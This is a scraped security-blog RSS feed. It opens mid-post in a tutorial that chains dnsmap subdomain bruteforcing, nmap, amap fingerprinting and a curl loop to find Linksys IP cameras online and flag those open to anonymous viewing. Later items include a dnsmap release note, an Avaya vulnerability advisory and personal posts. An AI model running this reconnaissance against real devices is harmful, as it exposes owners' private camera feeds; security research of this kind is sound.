<p>The second method, which would be much faster in finding our target devices, would be to use a <a rel="nofollow" target="_blank" href="http://www.google.co.uk/search?ie=UTF-8&#038;q=inurl:/img/vr.htm">search engine</a> and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by <a rel="nofollow" target="_blank" href="http://www.hackersforcharity.org/ghdb/?function=summary&#038;cat=18">GHDB</a> is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.</p>

<p>The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the <a rel="nofollow" target="_blank" href="http://www.ericdigests.org/2002-2/hidden.htm">hidden web</a>), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:</p>

<ul>
<li><code>linksys-cam.com</code></li>
<li><code>mylinksyscamera.com</code></li>
<li><code>mylinksyshome.com</code></li>
<li><code>mylinksyscam.com</code></li>
<li><code>mylinksysview.com</code></li>
<li><code>linksysremotecam.com</code></li>
<li><code>linksysremoteview.com</code></li>
<li><code>linksyshomemonitor.com</code></li>
</ul>

<h3>Camera discovery process through subdomain bruteforcing</h3>

<p>We first save the aforementioned domains in a file, <code>doms</code> in this case. Then we use <a rel="nofollow" target="_blank" href="http://code.google.com/p/dnsmap/">dnsmap</a> to bruteforce subdomains for each of the domains included in <code>doms</code>.</p>

<p>Using dnsmap&#8217;s built-in wordlist:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p>Using a user-supplied wordlist, <code>wordlist_TLAs.txt</code> in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p><em>Note: dnsmap&#8217;s <code>-i</code> option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the <a rel="nofollow" target="_blank" href="http://www.tzo.com/">DDNS service provider</a>, and would therefore be regarded as false positives in this case (we&#8217;re only interested in IP cameras setup by their respective owners after all).</em> For more info on how to use dnsmap, checkout the <a rel="nofollow" target="_blank" href="http://code.google.com/p/dnsmap/source/browse/trunk/README.txt">README</a> file.</p>

<p>We then parse the IP addresses of the subdomains discovered by dnsmap:</p>

<pre><code>$ grep &#92;# dnsmap*.txt | awk '{print $4}' | sort | uniq &gt; ips.txt</code></pre>

<p>Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:</p>

<pre><code>$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`</pre></code>

<p>This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own <a rel="nofollow" target="_blank" href="http://freeworld.thc.org/thc-amap/">amap</a> response signature, and then scan the open ports with amap.</p>

<p>Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to <code>appdefs.resp</code>, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:</p>

<pre><code>http-linksys-cam::tcp::^HTTP/.*&#92;nServer: thttpd/.*Accept-Ranges: bytes.*WVC</code></pre>

<p>Please note that <em>the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models.</em> So I'm not sure if it will work against other models. You've been warned!</p>

<p>Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results. </p>

<pre><code>$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`</code></pre>

<p>We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:</p>

<pre><code>$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d &#92;/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
<em>[snip]</em></code></pre>

<p>At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.</p>

<p>Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:</p>

<pre><code>$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d &#92;/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501"&gt;/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
<em>[snip]</em></code></pre>

<p><em>In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (<code>admin</code>/<code>admin</code>) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/I8vV1at9QvQ" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Dnsmap v0.30 is now out!</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/jfQ27_LNXEw/</link>
         <description>After working on dnsmap for a few months whenever time allowed, I decided there were enough additional goodies to make version 0.30 a new public release. Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (www.bothunters.pl), Philipp Winter (7c0.org) and meathive (kinqpinz.info). Thanks guys, your feedback was highly valuable to me. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3381</guid>
         <pubDate>Sat, 20 Feb 2010 21:08:48 +0000</pubDate>
         <content:encoded><![CDATA[<p>After working on <a rel="nofollow" target="_blank" href="http://dnsmap.googlecode.com/">dnsmap</a> for a few months whenever time allowed, I decided there were enough additional goodies to make <code>version 0.30</code> a new public release. Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (<code>www.bothunters.pl</code>), Philipp Winter (<code>7c0.org</code>) and meathive (<code>kinqpinz.info</code>). Thanks guys, your feedback was highly valuable to me.</p>

<h3>New Features</h3>

<p>Anyways, the following are some of the new features included:</p>

<ul>
<li>IPv6 support</li>
<li>Makefile included</li>
<li>delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth</li>
<li>ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives</li>
<li>changes made to make dnsmap compatible with OpenDNS</li>
<li>disclosure of internal IP addresses (RFC 1918) are reported</li>
<li>updated built-in wordlist</li>
<li>included a standalone three-letter acronym (TLA) subdomains wordlist</li>
<li>domains susceptible to <a rel="nofollow" target="_blank" href="http://snipurl.com/etbcv">same site scripting</a> are reported</li>
<li>completion time is now displayed to the user</li>
<li>mechanism to attempt to bruteforce wildcard-enabled domains</li>
<li>unique filename containing timestamp is now created when no specific output filename is supplied by user</li>
<li>various minor bugs fixed</li>
</ul>

<p>For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It&#8217;s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc &#8230; Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.</p>

<blockquote>Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.</blockquote>

<p><em>The major drawback is lack of multi-threading support, which I&#8217;m hoping will be included in the next public release. Life is busy these days, but I&#8217;ll try to spend some time on this project when time allows and inspiration is available!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/jfQ27_LNXEw" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Leadership Lessons from Dancing Guy</title>
         <link>http://www.hakiri.org/blog/leadership-lessons-from-dancing-guy/</link>
         <description>What lessons can we learn from the crazy dancing guy?

---recent posts from the gnucitizen network:Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)Websuite Scanner TutorialThis is How We CodeRetro Websecurify (v0.4) VideoWebsuite Scanner Preview Video</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=679</guid>
         <pubDate>Mon, 15 Feb 2010 20:45:18 +0000</pubDate>
         <content:encoded><![CDATA[<p>What lessons can we learn from the crazy dancing guy?</p>

<div class="screen"><embed src="http://www.youtube.com/v/fW8amMCVAJQ&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" width="560" height="340"></iframe></div><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Augmented-reality Maps</title>
         <link>http://www.hakiri.org/blog/augmented-reality-maps/</link>
         <description>Well, augmented-reality is pretty much one of the hot topics these days. Here is a video of Blaise Aguera y Arcas demoing the new feature that come in MS Bing Maps. [...]</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=676</guid>
         <pubDate>Sun, 14 Feb 2010 09:11:32 +0000</pubDate>
         <content:encoded><![CDATA[<p>Well, augmented-reality is pretty much one of the hot topics these days. Here is a video of Blaise Aguera y Arcas demoing the new feature that come in MS Bing Maps.</p>

<div class="screen"> <embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" type="application/x-shockwave-flash" width="446" height="326"></iframe></div> 

<p>Although some of the feature look like a full copy of google maps, it nice to see that MS made the effort to go further to do more.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Ed Catmull on “Keep Your Crises Small”</title>
         <link>http://www.hakiri.org/blog/ed-catmull-on-keep-your-crises-small/</link>
         <description>I stumbled upon the following video by browsing twitter. I find it interesting and quite enlightening.



Pixar is truly remarkable company and there is a lot one can learn from them.---recent posts from the gnucitizen network:Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)Websuite Scanner TutorialThis is How We CodeRetro Websecurify (v0.4) VideoWebsuite Scanner Preview Video</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=672</guid>
         <pubDate>Sat, 13 Feb 2010 16:13:41 +0000</pubDate>
         <content:encoded><![CDATA[<p>I stumbled upon the following video by browsing twitter. I find it interesting and quite enlightening.</p>

<div class="screen"><embed src="http://www.youtube.com/v/k2h2lvhzMDc&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" width="425" height="344"></iframe></div> 

<p>Pixar is truly remarkable company and there is a lot one can learn from them.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Was Huxley right?</title>
         <link>http://www.hakiri.org/blog/was-huxley-right/</link>
         <description>I stumbled upon the following cartoon on twitter. I have read &amp;#8220;1984&amp;#8221; but not &amp;#8220;Brave New World&amp;#8220;. Will be visiting the local library soon.



Some interesting stuff!---recent posts from the gnucitizen network:Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)Websuite Scanner TutorialThis is How We CodeRetro Websecurify (v0.4) VideoWebsuite Scanner Preview Video</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=668</guid>
         <pubDate>Sun, 03 Jan 2010 10:19:47 +0000</pubDate>
         <content:encoded><![CDATA[<p>I stumbled upon the following cartoon on twitter. I have read &#8220;<a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/1984">1984</a>&#8221; but not &#8220;<a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Brave_New_World">Brave New World</a>&#8220;. Will be visiting the local library soon.</p>

<div class="screen"><a rel="nofollow" target="_blank" href="http://www.hakiri.org/wordpress/../static/blog/2010/01/was-huxley-right.jpg"><img src="http://www.hakiri.org/wordpress/../static/blog/2010/01/was-huxley-right.jpg" alt="was-huxley-right" title="was-huxley-right" width="570" height="4550" class="alignnone size-full wp-image-669"/></a></div>

<p><em>Some interesting stuff!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Working Hard is Overrated?</title>
         <link>http://www.hakiri.org/blog/working-hard-is-overrated/</link>
         <description>I often hear about success stories where the direct cause for the success is someone&amp;#8217;s hard work and persistence. Although in my mind persistence is important, it seems that hard work is seriously overrated according to the founders of Flickr and a bunch of neuroscientists, as reported here and here. Now, this is an idea I fully support.

Here is what Caterina Fake has to say about working hard:



There are a few interesting things we can draw from Caterina&amp;#8217;s experience. [...]</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=649</guid>
         <pubDate>Mon, 12 Oct 2009 15:45:40 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/wili/242260084/"><img class="initial-capital" src="http://farm1.static.flickr.com/84/242260084_40473f9e1d_m.jpg" alt="Office: the new account manager"/></a>

<p>I often hear about success stories where the direct cause for the success is someone&#8217;s hard work and persistence. Although in my mind persistence is important, it seems that hard work is seriously overrated according to the founders of Flickr and a bunch of neuroscientists, as reported <a rel="nofollow" target="_blank" href="http://www.fastcompany.com/blog/cliff-kuang/design-innovation/hard-works-over-rated-it-could-even-be-detrimental?partner=homepage_newsletter">here</a> and <a rel="nofollow" target="_blank" href="http://online.wsj.com/article/SB124535297048828601.html">here</a>. Now, this is an idea I fully support.</p>

<p>Here is what <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Caterina_Fake">Caterina Fake</a> has to say about working hard:</p>

<blockquote><p>We agreed that a lot of what we then considered &#8220;working hard&#8221; was actually &#8220;freaking out&#8221;. Freaking out included panicking, working on things just to be working on something, not knowing what we were doing, fearing failure, worrying about things we needn&#8217;t have worried about, thinking about fund raising rather than product building, building too many features, getting distracted by competitors, being at the office since just being there seemed productive even if it wasn&#8217;t &#8211; and other time-consuming activities.</p>

<p>Much more important than working hard is knowing how to find the right thing to work on. Paying attention to what is going on in the world. Seeing patterns. Seeing things as they are rather than how you want them to be. Being able to read what people want. Putting yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen. But you can save yourself a lot of time by working on the right thing. Working hard, even, if that&#8217;s what you like to do.</p></blockquote>

<p>There are a few interesting things we can draw from Caterina&#8217;s experience. I&#8217;ve organised them in bullet points to be processed easily when it is needed and also added a few things on this subject I found out on my own. So here is the list.</p>

<h3>How to Avoid Working Hard</h3>

<ol>
<li>Find the right thing to work on.</li>
<li>Pay attention to what is going on in the world.</li>
<li>Look for patterns.</li>
<li>See things as they are rather than how you want them to be.</li>
<li>Read what people want.</li>
<li>Put yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen.</li>
<li>Never, ever work for work&#8217;s sake.</li>
<li>Even when you need to work hard, take a 10 minutes break every 40 minutes.</li>
<li>Take it easy.</li>
<li>Keep it simple.</li>
</ol>

<p><em>I know for a fact that these things may sound like nonsense to some of you but there is some truth in them if you choose to embrace this kind of lifestyle.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Old-school Remote Command Exec Vulnerabilities on Avaya Intuity</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/N2mMnIALMMg/</link>
         <description>Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.



These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3316</guid>
         <pubDate>Thu, 17 Sep 2009 08:32:47 +0000</pubDate>
         <content:encoded><![CDATA[<p>Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.</p>

<blockquote>I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is <em>NOT</em> affected apparently).</blockquote>

<p>These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.</p>

<p>Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.</p>

<p><em>Details can be found on the attached <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2009/09/Avaya_Intuity_Remote_Command_Execution.pdf">PDF document</a>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/N2mMnIALMMg" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>How Derren Brown Predicted the Lottery Numbers</title>
         <link>http://www.hakiri.org/blog/how-derren-brown-predicted-the-lottery-numbers/</link>
         <description>Last Wednesday (09/09/2009) Derren Brown predicted, or at least he made us to believe that he did, five numbers from the lottery draw aired on BBC. For those of you who have no clue what I am talking about, here is a video footage from the show.

How did he do it? I was eager to find out but since he promised to reveal the secret the following Friday, I retained myself from making any guesses until I see the show on TV first. [...]</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=620</guid>
         <pubDate>Fri, 11 Sep 2009 23:21:11 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/krypto/481230057/"><img class="initial-capital" src="http://farm1.static.flickr.com/181/481230057_95bbd13c70_m.jpg" alt="Derren Brown programme cover"/></a>

<p>Last Wednesday (09/09/2009) Derren Brown predicted, or at least he made us to believe that he did, five numbers from the lottery draw aired on BBC. For those of you who have no clue what I am talking about, <a rel="nofollow" target="_blank" href="http://www.youtube.com/watch?v=kMIzR6GNAXw">here is a video footage</a> from the show.</p>

<p><q>How did he do it?</q> I was eager to find out but since he promised to reveal the secret the following Friday, I retained myself from making any guesses until I see the show on TV first. His explanation is out now and as I thought things do not add up as nicely as I would like.</p>

<p>So here is what I think is possible and what is not. Let&#8217;s lay out some facts:</p>

<ol>
<li><strong>You cannot predict a relatively random sequence of numbers</strong> &#8211; unless it is not random at all. Any claims and proof that the lottery is predictable will make the draw automatically invalid. Not random means that it is fixed. It also means that it is unfair.</li>
<li><strong>The lottery draw is NOT invalid</strong> &#8211; and therefore it wasn&#8217;t predicted as he tried to made us to believe. Derren did get an approval from Camelot to do the show and they were completely aware of what he was up to. Camelot knew that the draw cannot be invalidated because Derren did not and could not get the winning numbers, which leads us to the obvious conclusion that <strong>it is only an illusion</strong>.</li>
<li>Even if the lottery can be predicted due to being not random, it is very unlikely that Derren has access to resources that can give him the ability to predict the numbers. Think about all technical aspects required to perform a one time guess of something that is the end result of many system properties and variables which are influenced by all kinds of internal and external processes.</li>
</ol>

<p>The most likely explanation of the trick is usually the most obvious one. The most obvious explanation is that this is a live video montage. Why? Well, why didn&#8217;t he do the draw live on stage but inside a studio? The reason for this is because he cannot guess the winning numbers. Only a studio with fixed lighting and scene will let him to create the illusion.</p>

<p>Another peculiar thing about this act is that he essentially gives deliberate hints on exactly how everything works in reality. At the beginning of the show where the trick was explained, he starts by presenting to the audience 3 possible options he could have employed in order to pull off this trick. Here they are:</p>

<ol>
<li>Fake a ticket</li>
<li>Genuinely guess the winning numbers</li>
<li>Fix the machine</li>
</ol>

<p>The funny thing is how he disregards the first and most obvious solution by suggesting that it is too obvious and uninteresting and therefore it should be ignored. He quickly moves on on the second possible solution. Now this is basically 99% of the entire show. It is extremely convoluted and full of pseudoscience of all sorts. The last possible solution is of course not possible at all since this will undoubtedly land him in jail, nevertheless he spends a couple of minutes on it at the end of the show to force us to thinker between options 2 and 3 and completely ignore option 1. He is a mentalist after all.</p>

<p><em>Derren Brown is a magician at the end of the day. The power is not in the trick but in the magician being able to produce an image of something magical happening. </em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Skydive</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/uiN_CvNhlow/</link>
         <description>What is the best way to spend a quiet, weekend afternoon? &amp;#8211; Jump off a perfectly working plane while 10,000 feet in the air.



On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3349</guid>
         <pubDate>Mon, 07 Sep 2009 19:12:26 +0000</pubDate>
         <content:encoded><![CDATA[<p><q>What is the best way to spend a quiet, weekend afternoon?</q> &#8211; Jump off a perfectly working plane while 10,000 feet in the air.</p>

<div class="screen"><embed src="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" width="560" height="340"></iframe></div> 

<p><em>On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/cmpgn/skydive">skydiving gig</a>. It has been two months since that day but memories are still as clear as yesterday.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/uiN_CvNhlow" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Free Web Application Security Testing Tool</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/YE55z5NLzgE/</link>
         <description>Automated Web Application Security Testing tools are in the core of modern penetration testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.

These tools are not unfamiliar to modern day penetration testers. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3332</guid>
         <pubDate>Fri, 07 Aug 2009 08:02:38 +0000</pubDate>
         <content:encoded><![CDATA[<p>Automated Web Application Security Testing tools are in the core of modern penetration testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.</p>

